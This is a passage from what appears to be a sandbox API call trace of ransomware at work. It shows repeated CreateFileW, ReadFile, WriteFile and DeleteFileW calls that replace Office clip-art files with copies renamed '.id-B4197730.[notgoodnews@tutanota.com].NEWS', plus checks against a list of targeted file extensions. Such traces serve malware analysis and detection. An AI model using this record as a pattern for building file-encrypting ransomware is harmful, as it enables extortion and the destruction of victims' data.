Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0165.607] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.607] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0165.608] GetLastError () returned 0x0 [0165.608] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0xc53a, lpOverlapped=0x0) returned 1 [0165.612] WriteFile (in: hFile=0x528, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xc540, lpOverlapped=0x0) returned 1 [0165.614] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.614] WriteFile (in: hFile=0x528, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.614] SetEndOfFile (hFile=0x528) returned 1 [0165.614] CloseHandle (hObject=0x528) returned 1 [0165.614] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.614] SetEndOfFile (hFile=0x4dc) returned 1 [0165.618] CloseHandle (hObject=0x4dc) returned 1 [0165.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0165.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0165.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0165.619] lstrlenW (lpString=".doc") returned 4 [0165.619] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.619] lstrlenW (lpString=".docx") returned 5 [0165.619] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0165.619] lstrlenW (lpString=".pdf") returned 4 [0165.619] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.619] lstrlenW (lpString=".xls") returned 4 [0165.619] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.619] lstrlenW (lpString=".xlsx") returned 5 [0165.620] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0165.620] lstrlenW (lpString=".ppt") returned 4 [0165.620] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0165.620] lstrlenW (lpString=".zip") returned 4 [0166.088] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0166.088] lstrlenW (lpString=".rar") returned 4 [0166.088] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0166.088] lstrlenW (lpString=".bz2") returned 4 [0166.088] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0166.088] lstrlenW (lpString=".7z") returned 3 [0166.088] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0166.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0166.088] lstrlenW (lpString=".dbf") returned 4 [0166.088] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0166.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0166.088] lstrlenW (lpString=".1cd") returned 4 [0166.088] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0166.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0166.088] lstrlenW (lpString=".jpg") returned 4 [0166.088] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0166.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0166.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0166.088] lstrlenW (lpString=".doc") returned 4 [0166.088] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0166.088] lstrlenW (lpString=".docx") returned 5 [0166.088] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0166.088] lstrlenW (lpString=".pdf") returned 4 [0166.089] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0166.089] lstrlenW (lpString=".xls") returned 4 [0166.089] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0166.089] lstrlenW (lpString=".xlsx") returned 5 [0166.089] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0166.089] lstrlenW (lpString=".ppt") returned 4 [0166.089] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0166.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0166.089] lstrlenW (lpString=".zip") returned 4 [0166.089] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0166.089] lstrlenW (lpString=".rar") returned 4 [0166.089] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0166.089] lstrlenW (lpString=".bz2") returned 4 [0166.089] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0166.089] lstrlenW (lpString=".7z") returned 3 [0166.089] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0166.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0166.089] lstrlenW (lpString=".dbf") returned 4 [0166.089] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0166.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0166.089] lstrlenW (lpString=".1cd") returned 4 [0166.089] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0166.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0166.089] lstrlenW (lpString=".jpg") returned 4 [0166.089] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0166.089] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0166.089] lstrlenW (lpString="J0099168.JPG") returned 12 [0166.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0166.463] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=20179) returned 1 [0166.464] CloseHandle (hObject=0x518) returned 1 [0166.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 0x220 [0166.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0167.289] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.289] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0167.290] GetLastError () returned 0x0 [0167.290] ReadFile (in: hFile=0x51c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x4ed3, lpOverlapped=0x0) returned 1 [0167.366] WriteFile (in: hFile=0x4f0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0167.368] ReadFile (in: hFile=0x51c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.368] WriteFile (in: hFile=0x4f0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.368] SetEndOfFile (hFile=0x4f0) returned 1 [0167.368] CloseHandle (hObject=0x4f0) returned 1 [0167.368] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.368] SetEndOfFile (hFile=0x51c) returned 1 [0167.378] CloseHandle (hObject=0x51c) returned 1 [0167.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1 [0167.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0167.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0167.391] lstrlenW (lpString=".doc") returned 4 [0167.391] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0167.391] lstrlenW (lpString=".docx") returned 5 [0167.391] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0167.391] lstrlenW (lpString=".pdf") returned 4 [0167.391] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0167.391] lstrlenW (lpString=".xls") returned 4 [0167.391] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0167.391] lstrlenW (lpString=".xlsx") returned 5 [0167.391] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0167.391] lstrlenW (lpString=".ppt") returned 4 [0167.392] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0167.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0167.392] lstrlenW (lpString=".zip") returned 4 [0167.392] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0167.392] lstrlenW (lpString=".rar") returned 4 [0167.392] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0167.392] lstrlenW (lpString=".bz2") returned 4 [0167.392] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0167.392] lstrlenW (lpString=".7z") returned 3 [0167.392] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0167.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0167.392] lstrlenW (lpString=".dbf") returned 4 [0167.392] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0167.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0167.392] lstrlenW (lpString=".1cd") returned 4 [0167.392] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0167.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0167.392] lstrlenW (lpString=".jpg") returned 4 [0167.392] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0167.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0167.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0167.392] lstrlenW (lpString=".doc") returned 4 [0167.392] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0167.392] lstrlenW (lpString=".docx") returned 5 [0167.392] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0167.392] lstrlenW (lpString=".pdf") returned 4 [0167.392] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0167.393] lstrlenW (lpString=".xls") returned 4 [0167.393] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0167.393] lstrlenW (lpString=".xlsx") returned 5 [0167.393] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0167.393] lstrlenW (lpString=".ppt") returned 4 [0167.393] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0167.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0167.393] lstrlenW (lpString=".zip") returned 4 [0167.393] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0167.393] lstrlenW (lpString=".rar") returned 4 [0167.393] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0167.393] lstrlenW (lpString=".bz2") returned 4 [0167.393] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0167.393] lstrlenW (lpString=".7z") returned 3 [0167.393] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0167.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0167.393] lstrlenW (lpString=".dbf") returned 4 [0167.393] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0167.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0167.393] lstrlenW (lpString=".1cd") returned 4 [0167.393] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0167.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0167.393] lstrlenW (lpString=".jpg") returned 4 [0167.393] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0167.393] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0167.394] lstrlenW (lpString="J0099176.WMF") returned 12 [0167.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0167.405] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=2488) returned 1 [0167.405] CloseHandle (hObject=0x4e8) returned 1 [0167.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220 [0167.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0167.410] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.410] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.414] GetLastError () returned 0x0 [0167.414] ReadFile (in: hFile=0x548, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0167.418] WriteFile (in: hFile=0x4dc, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0167.419] ReadFile (in: hFile=0x548, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.419] WriteFile (in: hFile=0x4dc, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.420] SetEndOfFile (hFile=0x4dc) returned 1 [0167.422] CloseHandle (hObject=0x4dc) returned 1 [0167.424] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.424] SetEndOfFile (hFile=0x548) returned 1 [0167.429] CloseHandle (hObject=0x548) returned 1 [0167.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 1 [0167.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0167.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0167.779] lstrlenW (lpString=".doc") returned 4 [0167.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.779] lstrlenW (lpString=".docx") returned 5 [0167.780] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.780] lstrlenW (lpString=".pdf") returned 4 [0167.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.780] lstrlenW (lpString=".xls") returned 4 [0167.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.780] lstrlenW (lpString=".xlsx") returned 5 [0167.780] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.780] lstrlenW (lpString=".ppt") returned 4 [0167.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0167.780] lstrlenW (lpString=".zip") returned 4 [0167.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.780] lstrlenW (lpString=".rar") returned 4 [0167.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.780] lstrlenW (lpString=".bz2") returned 4 [0167.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.780] lstrlenW (lpString=".7z") returned 3 [0167.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0167.780] lstrlenW (lpString=".dbf") returned 4 [0167.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0167.780] lstrlenW (lpString=".1cd") returned 4 [0167.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0167.780] lstrlenW (lpString=".jpg") returned 4 [0167.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0167.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0167.781] lstrlenW (lpString=".doc") returned 4 [0167.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.781] lstrlenW (lpString=".docx") returned 5 [0167.781] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.781] lstrlenW (lpString=".pdf") returned 4 [0167.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.781] lstrlenW (lpString=".xls") returned 4 [0167.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.781] lstrlenW (lpString=".xlsx") returned 5 [0167.781] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.781] lstrlenW (lpString=".ppt") returned 4 [0167.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0167.781] lstrlenW (lpString=".zip") returned 4 [0167.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.781] lstrlenW (lpString=".rar") returned 4 [0167.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.781] lstrlenW (lpString=".bz2") returned 4 [0167.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.781] lstrlenW (lpString=".7z") returned 3 [0167.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0167.781] lstrlenW (lpString=".dbf") returned 4 [0167.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0167.782] lstrlenW (lpString=".1cd") returned 4 [0167.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0167.782] lstrlenW (lpString=".jpg") returned 4 [0167.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.782] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0167.782] lstrlenW (lpString="J0099180.WMF") returned 12 [0167.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0167.889] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=3394) returned 1 [0167.889] CloseHandle (hObject=0x474) returned 1 [0167.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220 [0168.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: 